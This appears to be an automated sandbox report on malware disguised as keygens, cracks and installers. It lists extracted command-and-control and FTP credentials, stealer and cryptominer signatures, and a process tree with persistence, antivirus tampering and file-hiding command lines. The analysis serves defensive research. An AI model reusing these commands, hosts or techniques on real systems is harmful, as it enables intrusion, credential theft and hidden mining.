Overview
overview
10Static
static
8ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
8ฺฺฺK...ฺฺ
windows10_x64
3ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
8ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
3ฺฺฺK...ฺฺ
windows10_x64
8ฺฺฺK...ฺฺ
windows10_x64
3ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
8ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
10ฺฺฺK...ฺฺ
windows10_x64
1ฺฺฺK...ฺฺ
windows10_x64
4Resubmissions
18-11-2020 14:18
201118-dj27sn3f52 1018-11-2020 13:42
201118-1arz86e7w6 1018-11-2020 13:38
201118-n8jh228ctn 10Analysis
-
max time kernel
1801s -
max time network
1813s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
18-11-2020 13:42
Static task
static1
Behavioral task
behavioral1
Sample
2019-09-02_22-41-10.bin.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
31.bin.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
3DMark 11 Advanced Edition.bin.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Archive.zip__ccacaxs2tbz2t6ob3e.bin.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
CVE-2018-15982_PoC.swf
Resource
win10v20201028
Behavioral task
behavioral6
Sample
DiskInternals_Uneraser_v5_keygen.bin.exe
Resource
win10v20201028
Behavioral task
behavioral7
Sample
ForceOp 2.8.7 - By RaiSence.bin.exe
Resource
win10v20201028
Behavioral task
behavioral8
Sample
HYDRA.bin.exe
Resource
win10v20201028
Behavioral task
behavioral9
Sample
Keygen.bin.exe
Resource
win10v20201028
Behavioral task
behavioral10
Sample
LtHv0O2KZDK4M637.bin.exe
Resource
win10v20201028
Behavioral task
behavioral11
Sample
OnlineInstaller.bin.exe
Resource
win10v20201028
Behavioral task
behavioral12
Sample
Remouse.Micro.Micro.v3.5.3.serial.maker.by.aaocg.bin.exe
Resource
win10v20201028
Behavioral task
behavioral13
Sample
Treasure.Vault.3D.Screensaver.keygen.by.Paradox.bin.exe
Resource
win10v20201028
Behavioral task
behavioral14
Sample
VyprVPN.exe
Resource
win10v20201028
Behavioral task
behavioral15
Sample
WSHSetup[1].bin.exe
Resource
win10v20201028
Behavioral task
behavioral16
Sample
api.exe
Resource
win10v20201028
Behavioral task
behavioral17
Sample
efd97b1038e063779fb32a3ab35adc481679a5c6c8e3f4f69c44987ff08b6ea4.js
Resource
win10v20201028
Behavioral task
behavioral18
Sample
good.bin.exe
Resource
win10v20201028
Behavioral task
behavioral19
Sample
infected dot net installer.bin.exe
Resource
win10v20201028
Behavioral task
behavioral20
Sample
update.bin.exe
Resource
win10v20201028
Behavioral task
behavioral21
Sample
vir1.xls
Resource
win10v20201028
Behavioral task
behavioral22
Sample
xNet.dll
Resource
win10v20201028
Behavioral task
behavioral23
Sample
1.bin.exe
Resource
win10v20201028
Behavioral task
behavioral24
Sample
VPN/VyprVPN.exe
Resource
win10v20201028
Behavioral task
behavioral25
Sample
VPN/xNet.dll
Resource
win10v20201028
Behavioral task
behavioral26
Sample
WSHSetup[1].bin.exe
Resource
win10v20201028
General
Malware Config
Extracted
Protocol: ftp- Host:
45.141.184.35 - Port:
21 - Username:
alex - Password:
easypassword
Extracted
Protocol: ftp- Host:
109.248.203.91 - Port:
21 - Username:
alex - Password:
easypassword
Extracted
azorult
http://195.245.112.115/index.php
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Modifies visiblity of hidden/system files in Explorer 2 TTPs
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule C:\ProgramData\WindowsTask\system.exe family_redline C:\ProgramData\WindowsTask\system.exe family_redline -
ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
Processes:
resource yara_rule C:\ProgramData\Windows\vp8encoder.dll acprotect C:\ProgramData\Windows\vp8decoder.dll acprotect -
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
XMRig Miner Payload 3 IoCs
Processes:
resource yara_rule C:\ProgramData\WindowsTask\MicrosoftHost.exe xmrig C:\ProgramData\WindowsTask\MicrosoftHost.exe xmrig behavioral20/memory/4244-361-0x00007FF662890000-0x00007FF662E30000-memory.dmp xmrig -
Processes:
resource yara_rule C:\ProgramData\Windows\rutserv.exe aspack_v212_v242 C:\ProgramData\Windows\rutserv.exe aspack_v212_v242 C:\ProgramData\Windows\rutserv.exe aspack_v212_v242 C:\ProgramData\Windows\rutserv.exe aspack_v212_v242 C:\ProgramData\Windows\rutserv.exe aspack_v212_v242 -
Blocks application from running via registry modification
Adds application to list of disallowed applications.
-
Drops file in Drivers directory 2 IoCs
Processes:
cmd.exeupdate.bin.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts cmd.exe File opened for modification C:\Windows\System32\drivers\etc\hosts update.bin.exe -
Executes dropped EXE 40 IoCs
Processes:
wini.exewinit.exerutserv.execheat.exerutserv.exetaskhost.exerutserv.exerutserv.exetaskhostw.exeR8.exeRar.exeutorrent.exeazur.exeRDPWInst.exeupdate.exetaskhost.exesystem.exeRDPWInst.exewinlogon.exeRDPWinst.exeRDPWinst.exeaudiodg.exeMicrosoftHost.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhost.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exetaskhostw.exepid process 3836 wini.exe 2376 winit.exe 2772 rutserv.exe 3180 cheat.exe 1560 rutserv.exe 2924 taskhost.exe 2776 rutserv.exe 3188 rutserv.exe 5040 taskhostw.exe 3904 R8.exe 4424 Rar.exe 4404 utorrent.exe 4856 azur.exe 4464 RDPWInst.exe 3156 update.exe 5096 taskhost.exe 4700 system.exe 204 RDPWInst.exe 5112 winlogon.exe 4044 RDPWinst.exe 4528 RDPWinst.exe 4600 audiodg.exe 4244 MicrosoftHost.exe 3056 taskhostw.exe 1832 taskhostw.exe 4560 taskhostw.exe 4764 taskhostw.exe 3016 taskhostw.exe 4512 taskhost.exe 4452 taskhostw.exe 4024 taskhostw.exe 4936 taskhostw.exe 1368 taskhostw.exe 2020 taskhostw.exe 1428 taskhostw.exe 3860 taskhostw.exe 3732 taskhostw.exe 3636 taskhostw.exe 2804 taskhostw.exe 344 taskhostw.exe -
Modifies Windows Firewall 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule C:\ProgramData\Windows\vp8encoder.dll upx C:\ProgramData\Windows\vp8decoder.dll upx C:\ProgramData\install\utorrent.exe upx C:\Programdata\Install\utorrent.exe upx C:\ProgramData\WindowsTask\update.exe upx C:\ProgramData\WindowsTask\update.exe upx C:\ProgramData\WindowsTask\winlogon.exe upx C:\Programdata\WindowsTask\winlogon.exe upx -
Loads dropped DLL 6 IoCs
Processes:
azur.exesvchost.exesvchost.exepid process 4856 azur.exe 4856 azur.exe 4856 azur.exe 4856 azur.exe 4904 svchost.exe 4100 svchost.exe -
Modifies file permissions 1 TTPs 56 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 4356 icacls.exe 5080 icacls.exe 4756 icacls.exe 4272 icacls.exe 5000 icacls.exe 4152 icacls.exe 4428 icacls.exe 4964 icacls.exe 4268 icacls.exe 4824 icacls.exe 4916 icacls.exe 5004 icacls.exe 4436 icacls.exe 4308 icacls.exe 4524 icacls.exe 4624 icacls.exe 3004 icacls.exe 4800 icacls.exe 4672 icacls.exe 4692 icacls.exe 4372 icacls.exe 2524 icacls.exe 4880 icacls.exe 4432 icacls.exe 4616 icacls.exe 4992 icacls.exe 4684 icacls.exe 4632 icacls.exe 4720 icacls.exe 4768 icacls.exe 2308 icacls.exe 2316 icacls.exe 4804 icacls.exe 4908 icacls.exe 4552 icacls.exe 4396 icacls.exe 4820 icacls.exe 3956 icacls.exe 5012 icacls.exe 5076 icacls.exe 5100 icacls.exe 4636 icacls.exe 4892 icacls.exe 5036 icacls.exe 4416 icacls.exe 5116 icacls.exe 4148 icacls.exe 4324 icacls.exe 4592 icacls.exe 4604 icacls.exe 4504 icacls.exe 4364 icacls.exe 4884 icacls.exe 4248 icacls.exe 4340 icacls.exe 4120 icacls.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
taskhostw.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run taskhostw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhostw.exe" taskhostw.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 53 checkip.amazonaws.com 18 ip-api.com -
Modifies WinLogon 2 TTPs 8 IoCs
Processes:
update.bin.exeRDPWInst.exeRDPWinst.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList update.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts update.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0" update.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" RDPWInst.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" RDPWinst.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList update.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts update.bin.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0" update.bin.exe -
Drops file in System32 directory 5 IoCs
Processes:
rutserv.exetaskhost.exedescription ioc process File opened for modification C:\Windows\SysWOW64\rutserv.pdb rutserv.exe File opened for modification C:\Windows\SysWOW64\exe\rutserv.pdb rutserv.exe File opened for modification C:\Windows\SysWOW64\symbols\exe\rutserv.pdb rutserv.exe File opened for modification C:\Windows\System32\winmgmts:\localhost\root\CIMV2 taskhost.exe File opened for modification C:\Windows\System32\winmgmts:\localhost\ taskhost.exe -
Drops file in Program Files directory 31 IoCs
Processes:
update.bin.exeRDPWInst.exeutorrent.exeattrib.exeRDPWinst.exeattrib.exedescription ioc process File created C:\Program Files\Common Files\System\iediagcmd.exe update.bin.exe File opened for modification C:\Program Files (x86)\AVAST Software update.bin.exe File opened for modification C:\Program Files (x86)\Cezurity update.bin.exe File opened for modification C:\Program Files\Cezurity update.bin.exe File opened for modification C:\Program Files\COMODO update.bin.exe File opened for modification C:\Program Files\AVG update.bin.exe File created C:\Program Files\RDP Wrapper\rdpwrap.dll RDPWInst.exe File opened for modification C:\Program Files\RDP Wrapper utorrent.exe File created C:\Program Files\RDP Wrapper\rdpwrap.ini utorrent.exe File opened for modification C:\Program Files (x86)\Microsoft JDX update.bin.exe File opened for modification C:\Program Files\ByteFence update.bin.exe File opened for modification C:\Program Files\Malwarebytes update.bin.exe File opened for modification C:\Program Files\Enigma Software Group update.bin.exe File opened for modification C:\Program Files (x86)\AVG update.bin.exe File opened for modification C:\Program Files\Common Files\McAfee update.bin.exe File opened for modification C:\Program Files\ESET update.bin.exe File opened for modification C:\Program Files\RDP Wrapper\rdpwrap.ini utorrent.exe File opened for modification C:\Program Files\SpyHunter update.bin.exe File opened for modification C:\Program Files\Kaspersky Lab update.bin.exe File opened for modification C:\Program Files (x86)\GRIZZLY Antivirus update.bin.exe File created C:\Program Files\RDP Wrapper\rdpwrap.ini RDPWInst.exe File opened for modification C:\Program Files (x86)\SpyHunter update.bin.exe File opened for modification C:\Program Files\RDP Wrapper attrib.exe File opened for modification C:\Program Files\AVAST Software update.bin.exe File created C:\Program Files\RDP Wrapper\rdpwrap.ini RDPWinst.exe File opened for modification C:\Program Files (x86)\360 update.bin.exe File opened for modification C:\Program Files (x86)\Kaspersky Lab update.bin.exe File opened for modification C:\Program Files (x86)\Panda Security update.bin.exe File opened for modification C:\Program Files\RDP Wrapper\rdpwrap.dll attrib.exe File opened for modification C:\Program Files\RDP Wrapper\rdpwrap.ini attrib.exe File created C:\Program Files\RDP Wrapper\rdpwrap.dll RDPWinst.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
winit.exeazur.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 winit.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString winit.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 azur.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString azur.exe -
Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 1092 schtasks.exe 1728 schtasks.exe 2712 schtasks.exe 1040 schtasks.exe 744 schtasks.exe 4952 schtasks.exe 1864 schtasks.exe -
Delays execution with timeout.exe 6 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 4384 timeout.exe 4580 timeout.exe 2216 timeout.exe 2068 timeout.exe 4196 timeout.exe 4996 timeout.exe -
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exepid process 4380 ipconfig.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 1576 taskkill.exe 2936 taskkill.exe 4816 taskkill.exe -
Modifies registry class 6 IoCs
Processes:
winit.exeR8.execmd.exewini.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\MIME\Database winit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset winit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage winit.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings R8.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings wini.exe -
NTFS ADS 3 IoCs
Processes:
taskhost.exeupdate.bin.exeutorrent.exedescription ioc process File opened for modification C:\ProgramData\Microsoft\Intel\winmgmts:\localhost\ taskhost.exe File opened for modification C:\Users\Admin\AppData\Local\Temp\WinMgmts:\ update.bin.exe File opened for modification C:\Users\Admin\AppData\Local\Temp\WinMgmts:\ utorrent.exe -
Runs .reg file with regedit 2 IoCs
Processes:
regedit.exeregedit.exepid process 3472 regedit.exe 2148 regedit.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
update.bin.exerutserv.exerutserv.exerutserv.exerutserv.exewinit.exepid process 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 3756 update.bin.exe 2772 rutserv.exe 2772 rutserv.exe 2772 rutserv.exe 2772 rutserv.exe 2772 rutserv.exe 2772 rutserv.exe 1560 rutserv.exe 1560 rutserv.exe 2776 rutserv.exe 2776 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 3188 rutserv.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe 2376 winit.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
taskhostw.exetaskhost.exepid process 5040 taskhostw.exe 5096 taskhost.exe -
Suspicious behavior: LoadsDriver 3 IoCs
Processes:
pid process 624 624 624 -
Suspicious use of AdjustPrivilegeToken 16 IoCs
Processes:
rutserv.exerutserv.exerutserv.exetaskkill.exetaskkill.exetaskkill.exeRDPWInst.exesvchost.exesystem.exeRDPWinst.exeRDPWinst.exesvchost.exeMicrosoftHost.exedescription pid process Token: SeDebugPrivilege 2772 rutserv.exe Token: SeDebugPrivilege 2776 rutserv.exe Token: SeTakeOwnershipPrivilege 3188 rutserv.exe Token: SeTcbPrivilege 3188 rutserv.exe Token: SeTcbPrivilege 3188 rutserv.exe Token: SeDebugPrivilege 4816 taskkill.exe Token: SeDebugPrivilege 1576 taskkill.exe Token: SeDebugPrivilege 2936 taskkill.exe Token: SeDebugPrivilege 4464 RDPWInst.exe Token: SeAuditPrivilege 4904 svchost.exe Token: SeDebugPrivilege 4700 system.exe Token: SeDebugPrivilege 4044 RDPWinst.exe Token: SeDebugPrivilege 4528 RDPWinst.exe Token: SeAuditPrivilege 4100 svchost.exe Token: SeLockMemoryPrivilege 4244 MicrosoftHost.exe Token: SeLockMemoryPrivilege 4244 MicrosoftHost.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
Processes:
update.exepid process 3156 update.exe 3156 update.exe 3156 update.exe -
Suspicious use of SendNotifyMessage 3 IoCs
Processes:
update.exepid process 3156 update.exe 3156 update.exe 3156 update.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
winit.exerutserv.exetaskhost.exerutserv.exerutserv.exerutserv.exeWinMail.exeWinMail.exetaskhostw.exeR8.exeupdate.exepid process 2376 winit.exe 2772 rutserv.exe 2924 taskhost.exe 1560 rutserv.exe 2776 rutserv.exe 3188 rutserv.exe 5052 WinMail.exe 4920 WinMail.exe 5040 taskhostw.exe 3904 R8.exe 3156 update.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
update.bin.exewini.exeWScript.execmd.execheat.execmd.execmd.exedescription pid process target process PID 3756 wrote to memory of 3836 3756 update.bin.exe wini.exe PID 3756 wrote to memory of 3836 3756 update.bin.exe wini.exe PID 3756 wrote to memory of 3836 3756 update.bin.exe wini.exe PID 3836 wrote to memory of 68 3836 wini.exe WScript.exe PID 3836 wrote to memory of 68 3836 wini.exe WScript.exe PID 3836 wrote to memory of 68 3836 wini.exe WScript.exe PID 3836 wrote to memory of 2376 3836 wini.exe winit.exe PID 3836 wrote to memory of 2376 3836 wini.exe winit.exe PID 3836 wrote to memory of 2376 3836 wini.exe winit.exe PID 68 wrote to memory of 416 68 WScript.exe cmd.exe PID 68 wrote to memory of 416 68 WScript.exe cmd.exe PID 68 wrote to memory of 416 68 WScript.exe cmd.exe PID 416 wrote to memory of 3472 416 cmd.exe regedit.exe PID 416 wrote to memory of 3472 416 cmd.exe regedit.exe PID 416 wrote to memory of 3472 416 cmd.exe regedit.exe PID 416 wrote to memory of 2148 416 cmd.exe regedit.exe PID 416 wrote to memory of 2148 416 cmd.exe regedit.exe PID 416 wrote to memory of 2148 416 cmd.exe regedit.exe PID 416 wrote to memory of 2068 416 cmd.exe timeout.exe PID 416 wrote to memory of 2068 416 cmd.exe timeout.exe PID 416 wrote to memory of 2068 416 cmd.exe timeout.exe PID 416 wrote to memory of 2772 416 cmd.exe rutserv.exe PID 416 wrote to memory of 2772 416 cmd.exe rutserv.exe PID 416 wrote to memory of 2772 416 cmd.exe rutserv.exe PID 3756 wrote to memory of 3180 3756 update.bin.exe cheat.exe PID 3756 wrote to memory of 3180 3756 update.bin.exe cheat.exe PID 3756 wrote to memory of 3180 3756 update.bin.exe cheat.exe PID 416 wrote to memory of 1560 416 cmd.exe rutserv.exe PID 416 wrote to memory of 1560 416 cmd.exe rutserv.exe PID 416 wrote to memory of 1560 416 cmd.exe rutserv.exe PID 3180 wrote to memory of 2924 3180 cheat.exe taskhost.exe PID 3180 wrote to memory of 2924 3180 cheat.exe taskhost.exe PID 3180 wrote to memory of 2924 3180 cheat.exe taskhost.exe PID 3756 wrote to memory of 1728 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 1728 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 1728 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 2712 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 2712 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 2712 3756 update.bin.exe schtasks.exe PID 416 wrote to memory of 2776 416 cmd.exe rutserv.exe PID 416 wrote to memory of 2776 416 cmd.exe rutserv.exe PID 416 wrote to memory of 2776 416 cmd.exe rutserv.exe PID 3756 wrote to memory of 1040 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 1040 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 1040 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 744 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 744 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 744 3756 update.bin.exe schtasks.exe PID 3756 wrote to memory of 2300 3756 update.bin.exe cmd.exe PID 3756 wrote to memory of 2300 3756 update.bin.exe cmd.exe PID 3756 wrote to memory of 2300 3756 update.bin.exe cmd.exe PID 2300 wrote to memory of 4036 2300 cmd.exe sc.exe PID 2300 wrote to memory of 4036 2300 cmd.exe sc.exe PID 2300 wrote to memory of 4036 2300 cmd.exe sc.exe PID 3756 wrote to memory of 796 3756 update.bin.exe cmd.exe PID 3756 wrote to memory of 796 3756 update.bin.exe cmd.exe PID 3756 wrote to memory of 796 3756 update.bin.exe cmd.exe PID 416 wrote to memory of 188 416 cmd.exe attrib.exe PID 416 wrote to memory of 188 416 cmd.exe attrib.exe PID 416 wrote to memory of 188 416 cmd.exe attrib.exe PID 416 wrote to memory of 2144 416 cmd.exe attrib.exe PID 416 wrote to memory of 2144 416 cmd.exe attrib.exe PID 416 wrote to memory of 2144 416 cmd.exe attrib.exe PID 796 wrote to memory of 3612 796 cmd.exe sc.exe -
Views/modifies file attributes 1 TTPs 5 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exeattrib.exepid process 5008 attrib.exe 2676 attrib.exe 4144 attrib.exe 188 attrib.exe 2144 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\update.bin.exe"C:\Users\Admin\AppData\Local\Temp\update.bin.exe"1⤵
- Drops file in Drivers directory
- Modifies WinLogon
- Drops file in Program Files directory
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\Intel\wini.exeC:\ProgramData\Microsoft\Intel\wini.exe -pnaxui2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regedit.exeregedit /s "reg1.reg"5⤵
- Runs .reg file with regedit
-
C:\Windows\SysWOW64\regedit.exeregedit /s "reg2.reg"5⤵
- Runs .reg file with regedit
-
C:\Windows\SysWOW64\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
-
C:\ProgramData\Windows\rutserv.exerutserv.exe /silentinstall5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Windows\rutserv.exerutserv.exe /firewall5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Windows\rutserv.exerutserv.exe /start5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\attrib.exeATTRIB +H +S C:\Programdata\Windows\*.*5⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeATTRIB +H +S C:\Programdata\Windows5⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\sc.exesc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/10005⤵
-
C:\Windows\SysWOW64\sc.exesc config RManService obj= LocalSystem type= interact type= own5⤵
-
C:\Windows\SysWOW64\sc.exesc config RManService DisplayName= "Microsoft Framework"5⤵
-
C:\ProgramData\Windows\winit.exe"C:\ProgramData\Windows\winit.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Windows Mail\WinMail.exe"C:\Program Files (x86)\Windows Mail\WinMail" OCInstallUserConfigOE4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Windows Mail\WinMail.exe"C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE5⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 55⤵
- Delays execution with timeout.exe
-
C:\programdata\install\cheat.exeC:\programdata\install\cheat.exe -pnaxui2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\Intel\taskhost.exe"C:\ProgramData\Microsoft\Intel\taskhost.exe"3⤵
- Executes dropped EXE
- NTFS ADS
- Suspicious use of SetWindowsHookEx
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Microsoft\Intel\R8.exeC:\ProgramData\Microsoft\Intel\R8.exe4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "6⤵
- Modifies registry class
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Rar.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Rar.exe7⤵
- Kills process with taskkill
